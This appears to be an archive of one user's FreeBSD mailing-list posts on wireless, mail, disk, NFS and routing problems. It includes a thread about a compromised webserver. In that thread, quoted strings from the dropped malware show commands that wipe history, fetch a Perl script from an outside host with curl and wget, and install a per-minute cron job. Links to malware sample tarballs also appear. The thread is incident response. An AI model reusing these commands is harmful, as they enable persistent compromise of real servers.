Re: can't bring ath0 up

2010-03-06 Thread Colin Brace


Leslie Jensen wrote:
 
 If it's a wireless you need to set wlan0 as described in the handbook.
 This is new from version 8.
 
The handbook hasn't been updated yet, but the man page for ath has all the
details:

http://www.freebsd.org/cgi/man.cgi?query=ath

These commands work for me:

ifconfig wlan0 create wlandev ath0 wlanmode hostap
ifconfig wlan0 inet 192.168.0.1 mode 11g channel 2 ssid freebsdap

 


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can't bring ath0 up

2010-02-28 Thread Colin Brace

Hi all,

I have just upgrade my FreeBSD server from 7 to 8. Everything seems to be
working OK, except the Atheros-based wireless network card, which I had
configured as an access point and which worked fine under 7 for several
years.

The command: 

# ifconfig ath0 up

works fine, but anything else returns an error message. For example:

# ifconfig ath0 192.168.3.1
ifconfig: ioctl (SIOCAIFADDR): Invalid argument

or this, copied  pasted directly from the FreeBSD Handbook:

# ifconfig ath0 ssid freebsdap mode 11g mediaopt hostap inet 192.168.0.1
netmask 255.255.255.0
ifconfig: SIOCS80211: Invalid argument

Any ideas on what is going on here?

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postfix + cyrus sasl: no go

2009-09-19 Thread Colin Brace

Hi all,

I have compiled postfix with the SASL2 option. After creating the saslpass
file, I added the appropriate lines to main.cf:

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/usr/local/etc/postfix/saslpass
smtp_sasl_security_options =

and restarted postfix.

However, when I try to send an email, I see these lines in maillog:

Sep 19 15:07:19 venus postfix/smtp[75188]: warning: unsupported SASL client
implementation: cyrus
Sep 19 15:07:19 venus postfix/smtp[75188]: fatal: SASL library
initialization

Also, postconf -A doesn't return anything. FWIW, postconf -a returns
dovecot.

Any ideas what is going wrong here?

versions: 
postfix-2.6.5,1
cyrus-sasl-2.1.23 
FreeBSD 7.0



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Re: postfix + cyrus sasl: no go

2009-09-19 Thread Colin Brace


Jerry-107 wrote:
 
 2) Post the contents of: /usr/local/lib/sasl2/smtpd.conf
 

Jerry, this file doesn't exist on my system.

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Re: what www perl script is running?

2009-08-27 Thread Colin Brace


Colin Brace wrote:
 
 ah, another directory found in /tmp with files written by www called
 .bash/ Contents here:
 
 http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
 
Apropos of the contents of the above, a correspondent writes: 

[...]
running 'strings' on /tmp/owned will show 
HISTFILE=/dev/null
cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
echo '*/1 * * * * perl /tmp/tmpfile' cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 21 /dev/null
perl /tmp/tmpfile 21 /dev/null
[...]

So this would be the original mischief-maker.

Just out of curiousity, can someone explain to me in basic terms how an
intruder exploits a vulnerability such as apparently existed on my system
(the RoundCube webmail package was apparently the culprit) to place the
binary file owned in /tmp and execute it?

Thanks

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Re: what www perl script is running?

2009-08-26 Thread Colin Brace

Steve Bertrand said the following on 08/26/2009 01:33 AM:


In this case, OP, look for:

- directories named as such:
-- ...
-- . ..
-- . .
-- etc, particularly under:
-- /var/tmp
-- /tmp
-- or anywhere else the [gu]id of the webserver could possibly write to
   


Thanks for the comments, Steve. This has indeed been the case here: 
there was a bunch of files installed by user 'www' (the webserver) in a 
directory called ., in /tmp ; the script itself was in /tmp


Someone has suggested to me that the vulnerability might have been in 
the RoundCube webmail package which I had installed:


http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0413

Cross-site scripting (XSS) vulnerability in RoundCube Webmail 
(roundcubemail) 0.2 stable allows remote attackers to inject arbitrary 
web script or HTML via the background attribute embedded in an HTML 
e-mail message.


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Re: what www perl script is running?

2009-08-26 Thread Colin Brace



Colin Brace wrote:
 
 
 CyberLeo Kitsana wrote:
 
 Are these files available in a tarball someplace public, for those of us
 who enjoy performing autopsies on virii? 
 
 Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz
 
 this tarball contains tmpfile which is the misbehaving script as well as
 the contents of a directory called ., which has a bunch of source code
 and so on. As indicated earlier, this stuff was installed by user 'www'.
 
 It should be unpacked in an empty directory.

Oops, I missed six more files written by www to /tmp. Here they are:

http://silenceisdefeat.com/~cbrace/www_badstuff-2.gz



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Re: what www perl script is running?

2009-08-26 Thread Colin Brace



Colin Brace wrote:
 
 
 CyberLeo Kitsana wrote:
 
 Are these files available in a tarball someplace public, for those of us
 who enjoy performing autopsies on virii? 
 

ah, another directory found in /tmp with files written by www called
.bash/ Contents here:

http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz

Sorry about the multiple tarballs. 

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Re: what www perl script is running?

2009-08-25 Thread Colin Brace

Ok, here is what lsof tells me:

$ sudo lsof | grep perl
perl5.8.9  4272 www  cwd VDIR   0,76512   2 /
perl5.8.9  4272 www  rtd VDIR   0,76512   2 /
perl5.8.9  4272 www  txt VREG   0,82   4428 3015044
/usr/local/bin/perl
perl5.8.9  4272 www  txt VREG   0,76 171192   49360
/libexec/ld-elf.so.1
perl5.8.9  4272 www  txt VREG   0,821229218   95150
/usr/local/lib/perl5/5.8.9/mach/CORE/libperl.so
perl5.8.9  4272 www  txt VREG   0,76  92140  16
/lib/libm.so.5
perl5.8.9  4272 www  txt VREG   0,76  31928  14
/lib/libcrypt.so.4
perl5.8.9  4272 www  txt VREG   0,76  50496  74
/lib/libutil.so.7
perl5.8.9  4272 www  txt VREG   0,761026604  13
/lib/libc.so.7
perl5.8.9  4272 www  txt VREG   0,82  17427   94753
/usr/local/lib/perl5/5.8.9/mach/auto/IO/IO.so
perl5.8.9  4272 www  txt VREG   0,82  24006   94951
/usr/local/lib/perl5/5.8.9/mach/auto/Socket/Socket.so
perl5.8.9  4272 www0uPIPE 0xc33c4ad4  16384
-0xc33c4b8c
perl5.8.9  4272 www1uPIPE 0xc2fd2874  0
-0xc2fd27bc
perl5.8.9  4272 www2uPIPE 0xc2fd2874  0
-0xc2fd27bc
perl5.8.9  4272 www3uIPv4 0xc33cf0000t0 TCP
gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED)

The last line would be appear to telling me something, but what?

After 24 hour since rebooting, this perl instance is still crunching away... 

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Re: what www perl script is running?

2009-08-25 Thread Colin Brace



Mike Bristow wrote:
 
 On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote:
 Ok, here is what lsof tells me:
 
 $ sudo lsof | grep perl
 perl5.8.9  4272 www3uIPv4 0xc33cf0000t0 TCP
 gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED)
 
 The last line would be appear to telling me something, but what?
 
 The script is talking to 94.102.51.57 on port 7000.
 
 Other useful things:
 
 ps ajx
 will tell you the parent process of the script:  this looks like
 it may be a (fast?)CGI script; if so then the parent would be the
 web server.
 
 It may also show the name of the script (but beware:  the script
 can change that) which would be usefull to know.
 
 After 24 hour since rebooting, this perl instance is still crunching
 away... 
 
 Is it the same instance of the script, or a new copy each time?
 That is, does the PID change?  If so, that points to a CGI; if not it
 points to a fastCGI - or something else.
 

I have disabled both CGI and fastCGI in lighttpd.conf, restart the
webserver, but the script keeps popping up.

Now I notice something interesting:

$ ps aux | grep www
www   116 100.0  0.7  5864  3588  ??  R11:53AM   8:10.33
/usr/bin/web/httpd (perl5.8.9)
www   113  0.0  0.0 0 0  ??  Z11:53AM   0:00.18 defunct

This file doesn't exist on my system.

Am I correct in assuming that my system has been hacked and I am running an
IRC server or something?

Thanks.

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Re: what www perl script is running?

2009-08-25 Thread Colin Brace


Olivier Nicole wrote:
 
 Am I correct in assuming that my system has been hacked and I am running
 an
 IRC server or something?
 
 IRC client at least. And yes, I would think that your system has been
 compromised.
 

Thanks Olivier.

I am currently killing the process with the following bash command while I
decide what to do next:

$ while x=1 ; do sudo killall -9 perl5.8.9   echo killed... ; sleep 15;
done

I suppose this calls for a bare-metal reinstall.

Is it worth first trying to determine how my system was broken into?




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Re: what www perl script is running?

2009-08-25 Thread Colin Brace


Bill Moran wrote:
 
 You can add an ipfw rule to prevent the script from calling home, which
 will effectively render it neutered until you can track down and actually
 _fix_ the problem.
 
 In reality, good security practice says that you should have IPFW (or some
 other firewall) running and only allowing known good traffic right from
 the start, which might have protected you from this in the first place.
 

Bill,

I am surprised you would think I have no firewall. As long as I have had the
server (2 years), I have had PF installed and running, and I can tell you
exactly which incoming ports I have open to the net:

tcp_services = { ssh smtp www https 4661 4662 52550 }

the last three are for edonkey and bittorrent, resp.

c'est tout. 

There are no *obvious* weaknesses, ie, ssh is private-key only.

That being said, I leave the WiFi open to everyone, with the following ports
available:

wifi_tcp_services = { ftp ssh bootps whois domain www imap imaps ntp irc
https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}

Should I entertain the possiblity that someone parked their car near my
house and hacked in through one of the above ports?

Any suggestions as to where to start looking for the breach would be most
welcome; I am quite new to this game.
Thanks.

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Re: what www perl script is running?

2009-08-25 Thread Colin Brace

Bill, one more thing:


Bill Moran wrote:
 
 You can add an ipfw rule to prevent the script from calling home, which
 will effectively render it neutered until you can track down and actually
 _fix_ the problem.

Mike Bristow above wrote: The script is talking to 94.102.51.57 on port
7000. OK, so I how do I know what port the script is using for outgoing
traffic on MY box? 7000 is the remote host port, right? 

FWIW, here are my core PF lines:

pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log

That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out. 
(plus some ipv6 stuff I was testing with a tunnel)

Merci



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Re: what www perl script is running?

2009-08-25 Thread Colin Brace


Ruben de Groot wrote:
 
 Which is exactly what the rogue perl script was using to connect to it's
 home.
 Once established this connection could have been used for allmost
 anything,
 including downloading other malicious software or setting up a tunnel into
 your LAN.
 

Well, the box (also) serves as my DSL gateway, as I indicated above. How
would I be able to use various desktop programs like Skype which dynamically
set up their own outgoing ports?

However, I am perfectly willing to entertain the idea that using a
(web)server as a router is a Bad Idea. However, when I set it up, it just
seemed more convenient and flexible.


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Re: what www perl script is running?

2009-08-25 Thread Colin Brace


Ruben de Groot wrote:
 
 Try a find through the entire filesystem for files owned by this user that 
 you can't account for. Also check your cron and at files under /var/cron
 and
 /var/at
 

I found the cronjob which keeps restarting the script: 

[r...@venus /var/cron/tabs]# ls -l
total 12
-rw---  1 root  wheel  3440 Aug 25 12:06 colin
-rw---  1 root  wheel   240 Jul 28 23:49 www

[r...@venus /var/cron/tabs]# cat www 
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.job installed on Tue Jul 28 23:49:28 2009)
# (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24
2006/09/03 17:52:19 ru Exp $)
*/1 * * * * perl /tmp/tmpfile

I removed it, so now at least the script stops relaunching.

/tmp/tmpfile is of course the script.

In a subdirectory of tmp, there is a whole bunch of source code, all owned
by 'www':

/tmp/.,]# ls -l
total 5692
-rw-r--r--  1 www  wheel  2844160 Mar 27 10:00 m.tgz
drwxr-xr-x  4 www  wheel  512 Nov 10  2008 ml
-rw-r--r--  1 www  wheel43419 May 27 23:22 scanxml.txt

]# ls -l ml
total 3208
-rwxr-xr-x  1 www  wheel 411 Mar 27 09:57 1.user
-rwxr-xr-x  1 www  wheel 422 Mar 27 09:57 2.user
-rwxr-xr-x  1 www  wheel  505767 Aug  3  2008 LinkEvents
-rwxr-xr-x  1 www  wheel2154 May 16  2003 Makefile
-rwx--x--x  1 www  wheel  418490 Dec  3  2005 bsd
-rwxr-xr-x  1 www  wheel 941 Dec  3  2005 checkmech
-rwxr-xr-x  1 www  wheel   23237 May 16  2003 configure
-rwx--x--x  1 www  wheel  397274 Dec  3  2005 crond
-rwxr-xr-x  1 www  wheel   22882 May 16  2003 m.h
-rwxr-xr-x  1 www  wheel1054 Aug  3  2008 m.lev
-rwx--x--x  1 www  wheel   6 May 25  2008 m.pid
-rwxr-xr-x  1 www  wheel1320 Mar 27 09:56 m.set
-rwxr-xr-x  1 www  wheel   10240 Nov 10  2008 m.tgz
-rwxr-xr-x  1 www  wheel  167964 Mar 16  2001 pico
drwxr-xr-x  2 www  wheel 512 Mar  4  2005 r
drwxr-xr-x  2 www  wheel1024 Dec  3  2005 src

If anyone is interested in looking at this stuff, or wants more info, please
let me know.

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Re: what www perl script is running?

2009-08-25 Thread Colin Brace


CyberLeo Kitsana wrote:
 
 Are these files available in a tarball someplace public, for those of us
 who enjoy performing autopsies on virii? 

Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz

this tarball contains tmpfile which is the misbehaving script as well as
the contents of a directory called ., which has a bunch of source code and
so on. As indicated earlier, this stuff was installed by user 'www'.

It should be unpacked in an empty directory.

Have fun!



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what www perl script is running?

2009-08-24 Thread Colin Brace

Hi all,

I noticed this morning that a perl script was using a lot of CPU time on 
my FreeBSD webserver. By the time I killed it, it had run up 400 mins of 
system time according to top.


However, simply killing 'perl5.8.9' didn't accomplish much, it was back 
running again moments later. I then rebooted. Once again it is running.


According to top, the owner of the process is 'www', which would be 
lighttpd. So, it appears that lightthp is persistently spawning a perl 
script.But which one? I don't use perl much, but I do have it enabled in 
lighttp:


[...]

)

server.modules  = (
mod_access,
mod_simple_vhost,
mod_accesslog,
mod_cgi,
mod_rewrite,
mod_auth,
mod_fastcgi,
mod_redirect
)

static-file.exclude-extensions = ( .fcgi, .php, .rb, ~, .inc )

cgi.assign = (
.pl  = /usr/bin/perl,
.cgi = /usr/local/bin/python,
.py = /usr/local/bin/python,
.sh = /usr/local/bin/bash
)

[...]

Is there a command like fuser or lsof which can be used to determine 
what files this perl instance is using? Any other ideas on how to figure 
out what is going on here?


Thanks.

uname:
FreeBSD 7.0-STABLE  i386

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kernel errors: TIMEOUT - READ_DMA

2009-01-14 Thread Colin Brace

Hi all,

I have an older P4 running FreeBSD 7.0 which I use as a web/file server,
WAP, and ADSL gateway. The OS and /usr partition are on 30 GB Seagate
Barracuda IDE drive, ad0.

In addition, I have added two 500 GB IDE drives which I scavenged from a
pair of La Cie external USB enclosures. The one is a Hitachi, ad2, and the
other a Maxtor, ad3. I use this for storing a large collection of MP3s and
for backing up the home partitions of several Linux clients on my network.

I customarily share ad2 via NFS with my Linux clients. Here is where my
problem begins:

After mounting the NFS share, the Linux client eventually (24-48 hours) runs
into to trouble; the share is no longer visible, and this tends to wreak
havoc with Gnome. Looking in dmesg on the client, I see this:

nfs: server venus not responding, timed out

Looking in /var/log/messages on the FreeBSD server, I see the following
(here is a week's worth):

Jan  8 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan  8 03:06:06 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan  9 03:01:09 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan  9 03:06:13 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 10 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=70508479
Jan 10 03:06:07 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 10 04:02:35 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 10 19:26:07 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=49302399
Jan 11 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=58711199
Jan 11 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 11 04:02:27 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 12 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 12 03:06:13 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 13 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=12159
Jan 13 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 14 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287
Jan 14 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry
left) LBA=287

Any ideas on what is going on here? 

Note that only the two 500 GB data drives cause these errors; there is never
a complaint about the 30 GB system drive.

The two data drives are still online, and there is no problem accessing them
through the server; it is just NFS which can't handle it. FWIW, I've tried
using 'soft' as an option in the NFS fstab entry on the clients to no avail

Thanks for any suggestions.

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updating a port with problems (libxml2)

2008-10-17 Thread Colin Brace

Hi all,

I use portsnap to keep the port tree of my FreeBSD 7 box up to date.
According to portaudit, which I run nightly, there is a problem with the
current version of libxml2. So, as usual, I run  sudo portsnap fetch 
sudo portsnap update, and then: 

$ cd /usr/ports/textproc/libxml2
$ sudo make deinstall
$ sudo make reinstall clean

But this last command results in an error:

===  libxml2-2.6.32 has known vulnerabilities:
= libxml2 -- two vulnerabilities.
   Reference:
http://www.FreeBSD.org/ports/portaudit/d71da236-9a94-11dd-8f42-001c2514716c.html
= Please update your ports tree and try again.

It would appear that the port has not yet been updated. Is this some
temporary glitch? Otherwise, the approach I use is not very robust, since I
have now managed to deinstall a library upon which a dozen or so programs
depend. However, this is the first time this has happened.

Comments, suggestions most welcome.

Thanks.

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Re: gateway NAT settings lost

2008-09-27 Thread Colin Brace


Mel-15 wrote:
 
 The obvious a file in /, possibly a core dump.
 The less obvious, an open but deleted file.
 Even less obvious, a file in /tmp created in single user mode, without
 /tmp 
 mounted. 
 My money is on option 2:
 fstat -f / |sort -rnk 8|head
 

OK, here is what that returns:

$ sudo fstat -f / |sort -rnk 8|head
root init   1 text / 16492 -r-xr-xr-x  599320  r
root devd 618 text / 16467 -r-xr-xr-x  334060  r
root dhclient1192 text / 16469 -r-xr-xr-x   74172  r
_dhcpdhclient1231 text / 16469 -r-xr-xr-x   74172  r
root fstat  787685 / 49687 -rw---   40960  r
root pflogd   478 text / 16527 -r-xr-xr-x   18716  r
_pflogd  pflogd   481 text / 16527 -r-xr-xr-x   18716  r
root adjkerntz136 text / 16457 -r-xr-xr-x7244  r
www  php-cgi69281 root / 2 drwxr-xr-x 512  r
www  php-cgi 1122 root / 2 drwxr-xr-x 512  r

Do you see anything that looks unusual?

I also ran: 

$ sudo find / -iname *.core

and it turned up a few .core files, but nothing in the root tree.

At this point, I am thinking I might as well move the OS to an drive with
bigger partitions. There is a tutorial here
http://www.tutorialhero.com/click-42879-moving_freebsd_to_a_new_hard_drive.php
which explains how to do this using dump and restore. Just curious: why is
this preferable to using plain old cp?



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gateway NAT settings lost

2008-09-26 Thread Colin Brace

Hi all,

I recently ran out of diskspace on the root partition of my FreeBSD 7 box,
which serves as a home server/gateway. As a result, when I went to edit my
rc.conf file with nano earlier this moth, it couldn't save the changes and
the file was written zero-length. Alas, my nightly backup subsequently
archived this, and I've now lost the original. 

I only realized this when I needed to reboot last night. I have now been
trying to rebuild my rc.conf settings from scratch. Most things work again
now, except I still can't access the web from my LAN clients.

1.) I can get a dhcp lease from the server.

2.) DNS works, ie, $ dig cern.ch returns a DNS record

3.) but $ lynx cern.ch doesn't work.

Here is my rc.conf now:

check_quotas=NO
cron_enable=YES
hostname=venus
inetd_enable=NO
linux_enable=YES
moused_enable=YES
sshd_enable=YES
usbd_enable=YES
lighttpd_enable=YES
postfix_enable=YES
sendmail_enable=NO
sendmail_submit_enable=NO
sendmail_outbound_enable=NO
sendmail_msp_queue_enable=NO
dovecot_enable=YES
rpcbind_enable=YES
nfs_server_enable=YES
mountd_flags=-r

# WLAN interface
ifconfig_fxp0=DHCP

# LAN interface
ifconfig_rl0=inet 192.168.1.1  netmask 255.255.255.0

# WIFI interface
ifconfig_ath0=

smartd_enable=YES
pf_enable=YES
pflog_enable=YES
dhcpd_enable=YES

/usr/local/sbin/dnrd -s 208.67.222.222

postgresql_enable=YES
obspamd_enable=YES
obspamdlog_enable=YES
dovecot_enable=YES
rsyncd_enable=YES
rtadvd_enable=YES

I am using PF for NAT, and have the following rule:

[...]
ext_if = fxp0
[...]
nat on $ext_if from !($ext_if) to any - ($ext_if)
[...]

I must be missing something obvious, but what?

TIA

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Re: gateway NAT settings lost

2008-09-26 Thread Colin Brace

Thanks Mel,  gateway_enable was what I was missing.

I usually use sudo for eding system files, but in this particular 
instant I was lazy and had set the permissions so I could edit rc.conf 
without it. :(


As I mentioned, I got into this fix because my root partition is full. 
This is how my 30G drive is partitioned:


$df -h

/dev/ad0s1a496M493M-37M   108%/
devfs  1.0K1.0K  0B   100%/dev
/dev/ad0s1e496M3.2M453M 1%/tmp
/dev/ad0s1f 24G6.1G 16G28%/usr
/dev/ad0s1d1.4G659M690M49%/var
fdescfs1.0K1.0K  0B   100%/dev/fd

But for the life of me, I can't figure out what is taking up all the 
space on root. See:


$ sudo du -hs boot cdrom home lib libexec rescue sbin bin compat dist 
etc lib proc root

91Mboot
2.0Kcdrom
 0Bhome
5.4Mlib
170Klibexec
3.6Mrescue
5.0Msbin
986Kbin
 0Bcompat
2.0Kdist
2.1Metc
5.4Mlib
2.0Kproc
52Kroot

For totals:

$ sudo du -hc -depth=1 boot cdrom home lib libexec rescue sbin bin 
compat dist etc lib proc root

91Mboot
2.0Kcdrom
 0Bhome
5.4Mlib
170Klibexec
3.6Mrescue
5.0Msbin
986Kbin
 0Bcompat
2.0Kdist
2.1Metc
5.4Mlib
2.0Kproc
52Kroot
114Mtotal

It looks as though there is 375MB hidden somewhere... but where?

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ext3 to ufs: filename character encoding woes

2008-08-16 Thread Colin Brace

Hi all,

Using rsync, I copied a collection of MP3s from an ext3 partition on my
Linux F9 box to a UFS partition my FreeBSD 7 box. Many of the song titles
had accented characters, which are now displayed as two question marks (??)
on my FreeBSD system, like this:

Toquinho  Vinícius - Samba da Benção.mp3 --
Toquinho  Vin??cius - Samba da Beno.mp3

Thinking that rsync might be interfering in some way, I checked the man page
and found this option to use:

-8, --8-bit-output  leave high-bit chars unescaped in output

but it makes no difference. I then tried copying a file with scp and then
just cp across an NFS share. In every case, the accents get hosed.

My Linux box is configured for UTF-8:

$ cat /etc/sysconfig/i18n
LANG=en_US.UTF-8

I would have assumed that this would also be the default setting for
FreeBSD, but this appears not to be the case. 

Googling, I came up with instructions for editing /etc/login.conf, so I
added 

:charset=en_US.UTF-8:

under 

default:\

exited the shell and logged in again, but no change. 

What I am missing here?

Thanks.

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error mounting USB disk: Invalid argument

2008-05-31 Thread Colin Brace

Hi all,

I am having difficulties mounting a USB drive under 7.0-STABLE. Running
sysinstall, I can create a partition and format it. But sysinstall is
unable to mount it:

Error mounting /dev/da0s1d on /media/disk6 : Invalid argument

The same error ocurrs when I try to mount it manually on the command line.
I have tried various mount points, to no avail. 

Anyone have any ideas what is going wrong?

Thanks.

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Re: error mounting USB disk: Invalid argument

2008-05-31 Thread Colin Brace

On Sat, 31 May 2008 09:29:55 +0200, Roland Smith [EMAIL PROTECTED] wrote:

 Can you show us what is shown in the dmesg output when you plug this
 drive in, which devices are then created and the exact command that you
 used to mount it?

dmesg:

[...]
umass0:  on uhub1
da0 at umass-sim0 bus 0 target 0 lun 0
da0:  Fixed Direct Access SCSI-2 device 
da0: 1.000MB/s transfers
da0: 194481MB (398297088 512 byte sectors: 255H 63S/T 24792C)

These nodes are created:

# ls -1 /dev/da*
/dev/da0
/dev/da0s1
/dev/da0s1c

Then:

# mount /dev/da0s1c /media/disk6
mount: /dev/da0s1c : Invalid argument

# mount -t ufs /dev/da0s1c /media/disk6
mount: /dev/da0s1c : Invalid argument

Thanks.

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Re: error mounting USB disk: Invalid argument

2008-05-31 Thread Colin Brace

On Sat, 31 May 2008 11:42:21 +0200, Roland Smith [EMAIL PROTECTED] wrote:

 After partitioning and labeling the disk, did you make filesystems on
 the partitions with newfs?

Ah, no. According to Absolute FreeBSD, 2nd ed, which I have in front of me,
newfs invoked by sysinstall, which I used to create the slice and partition
it (p 241).

Anyway, I now try running newfs in terminal, but it throws up some errrors:

# newfs /dev/da0s1c
/dev/da0s1c: 194474.3MB (398283416 sectors) block size 16384, fragment size
2048
using 1059 cylinder groups of 183.77MB, 11761 blks, 23552 inodes.
super-block backups (for fsck -b #) at:
newfs: wtfs: 65536 bytes at sector 160: Invalid argument

# newfs /dev/da0s1c
/dev/da0s1c: 194474.3MB (398283416 sectors) block size 16384, fragment size
2048
using 1059 cylinder groups of 183.77MB, 11761 blks, 23552 inodes.
super-block backups (for fsck -b #) at:
 160, 376512, 752864, 1129216, 1505568, 1881920, 2258272, 2634624, 3010976,
3387328, 3763680, 4140032,newfs: wtfs: 65536 bytes at sector 4516384:
Invalid argument

I tried it several times; the errors seem kinda random, since they vary
each time I run the command.

Could it be that the chipset of this USB device, JMicron, is not entirely
supported by FreeBSD? The reason I ask is because this appears to be an
issue under Linux; cf, http://www.qbik.ch/usb/devices/showdev.php?id=3751

Yes, I am well aware it is a different OS (!); I only mention it in case
there is overlap in the codebase for this particular chipset.

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SATA support custom v7.0 kernel

2008-05-29 Thread Colin Brace

Hi all,

I'd like to add a SATA drive to a P4 box that I use as a gateway/server.
The MB doesn't have a SATA interface, so I stuck an Initio-based SATA card
in the box. The kernel recognizes the card, but the attached drive wasn't
displayed when I started up sysinstall to format it. I'm wondering whether
I am missing SATA support. I commented out a bunch of stuff such as the
SCSI controllers when I compiled the kernel with ALTQ support, but these
options *are* included:
 
# SCSI peripherals
device  scbus  # SCSI bus (required for SCSI)
device  ch # SCSI media changers
device  da # Direct Access (disks)
device  sa # Sequential Access (tape etc)
device  cd # CD
device  pass   # Passthrough device (direct SCSI access)
device  ses# SCSI Environmental Services (and SAF-TE)

Should this be enough? I don't see any specific references to SATA in the
handbook
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-config.html

Thanks.

$ uname -a
FreeBSD venus.lim.nl 7.0-STABLE FreeBSD 7.0-STABLE #4: Mon Mar  3 15:07:21
CET 2008 [EMAIL PROTECTED]:/usr/obj/usr/src/sys/VENUS  i386

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Re: SATA support custom v7.0 kernel

2008-05-29 Thread Colin Brace

On Thu, 29 May 2008 19:35:39 +0300, Alexander Motin [EMAIL PROTECTED]
wrote:

 Usually SATA is more ATA then SCSI. Try to add to your config:
 deviceata
[...]

My kernel config has the ATA stuff already; the system currently boots from
an IDE drive. 


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server (partly) fails: hardware?

2008-05-04 Thread Colin Brace

Hi all,

I have FreeBSD installed on a ~6 year old IBM NetVista box; it serves a
headless gateway/server/WAP for my home network. I upgraded it from v6 to
v7 in mid January, building a custom kernel with altq and the new
scheduler. It has been running fine since early December. 

However, three times during the past few days, it has stop functioning. The
WAN connection dies and I can no longer ssh into the box. However, I can
still ping it, and I can still ssh from one LAN client to another via the
FreeBSD box.

IOW, it seems to be dying, but not freezing, if that makes any sense. Alas,
there is nothing in /var/messages to indicate what happens. I don't think
it is succumbing to excessive load; it has a 1.6 MHz Pentium IV, 512 MB
RAM, rarely uses swap, and the load averages tend to be very light. 

At this point, I assume a hardware issue, and I can have the box tested by
a local whitebox shop later this week, but I am open to other avenues to
purse as well.

Thanks in advance for any ideas.

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Re: server (partly) fails: hardware?

2008-05-04 Thread Colin Brace

On Sun, 4 May 2008 20:14:45 +0200 (CEST), Wojciech Puchar
[EMAIL PROTECTED] wrote:

 disk I/O hangs while everything else works.
 check with smartmontools if your disk report problems, if not - check
 cables.

Thanks for the tip. This sounds promising. 

 FreeBSD runs fine on pentium 90 with 16MB RAM (with slightly cutdown
 kernel), without changes on 32.

Wow, maybe there is hope for the old 33 MHz 486SX Thinkpad I have in my
closet. IIRC, it has a whopping 32MB. It may be slow but it is built like a
tank.

On Sun, 4 May 2008 20:16:18 +0200 (CEST), Wojciech Puchar
[EMAIL PROTECTED] wrote:

  If you can connect a monitor to the server and actually see what
happens
  also if it still accepts keystrokes and stuff, that would probably help
in
  diagnosing the problem.
 
 yes it will. i had such problem many times. it's always
 disk/cables/controller problem.

OK, I am connecting a serial cable and will monitor the FreeBSD box from my
Linux desktop. But what should I be looking for?

On a semi-related note, I have been thinking of popping a SATA card and and
big SATA drive in this box and removing the 30 GB IDE drive. Is there any
reason why it shouldn't be possible to boot directly from the SATA drive
given that SATA is not on the motherboard? 

Thanks.

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Re: is my eyesight THAT bad?!

2008-04-25 Thread Colin Brace
On Thu, Apr 24, 2008 at 5:15 PM, Jim Stapleton [EMAIL PROTECTED] wrote:

 I don't know to how check grammar,
 had a green line under 'how' when I was done. That was the closest I
 could find.

Ah-Ha! *that's* what those funny green lines in my docs are. I
couldn't figure out what they were doing there. Thanks for solving
that little mystery for me.

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nfs firewall, hard vs soft mount

2008-04-24 Thread Colin Brace
Hi all,

I have a FreeBSD v7 box set up as gateway/mailserver/WAP. I leave my WAP
unencrypted, so my neighbors can use it, and use PF to allow just a few
specific services (dhcp dns, http, https).

I'd like to be able to mount a couple of NFS shares from a desktop box
running Fedora on a wireless client. I've opened  the sunrpc and nfs ports
in PF, but that doesn't seem to be enough. tcpdump indicates some high upd
ports in the 40k-50k range are used in the nfs negotiation, but I can't
figure out exactly what is going on. Does anyone know what additional ports
need to be opened for nfs? Will I need to use PF to redirect this udf
traffic to the fedora host or will it find the nfs server on its own?

Also, this page here: http://tldp.org/HOWTO/NFS-HOWTO/client.html mentions
hard vs soft mounts. Since wifi is ocassionally flaky, and since the
wireless client (a laptop) is not always within range, I'd prefer to not to
mount them via fstab, but via in a batch file with mount, but that command
doesn't appear to support soft mounts. In the past, I've noticed that
nautilus etc on the client has a fit when hard-mounted nfs shares disappear.
Can anyone recommend a robust way of mounting NFS shares?

I've also tried to mount remote file systems using sftp in gnome (ie,
sftp://host/dir), but the new gvfs subsystem (which apparently replaces
gnome-vfs) still seems flaky; it freezes up my laptop every few times.
Another drawback of sftp is that it appears to add some overhead which I
